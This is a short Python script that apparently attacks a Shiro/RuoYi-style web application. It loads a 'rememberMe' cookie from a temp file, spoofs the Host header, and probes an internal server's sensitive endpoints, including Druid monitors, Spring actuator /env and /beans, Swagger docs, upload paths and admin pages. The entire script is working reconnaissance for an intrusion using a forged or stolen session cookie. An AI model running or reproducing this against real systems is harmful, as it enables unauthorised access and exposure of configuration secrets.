import http.client,json
RM=open('/tmp/rm.txt').read().strip()
def req(method,path,body=None,ctype=None):
 try:
  c=http.client.HTTPConnection('10.0.0.7',8088,timeout=8)
  h={'Host':'gitee.com','User-Agent':'Mozilla/5.0','Cookie':'rememberMe='+RM}
  if ctype:h['Content-Type']=ctype
  c.request(method,path,body=body,headers=h)
  r=c.getresponse();d=r.read(700);c.close()
  return r.status,d.decode('utf-8','replace'),r.getheader('Location')
 except Exception as e:return 0,type(e).__name__,None
paths=['/druid/','/druid/login.html','/druid/index.html','/druid/websession.html','/actuator','/actuator/env','/actuator/health','/actuator/beans','/actuator/mappings','/v2/api-docs','/v3/api-docs','/swagger-ui.html','/doc.html','/system/main','/system/welcome','/system/user/profile','/common/upload','/profile/upload','/tool/gen/list','/system/dept/list','/monitor/server']
for p in paths:
 s,d,l=req('GET',p)
 print('===',p,s,l);print(d[:260].replace('\n',' '))
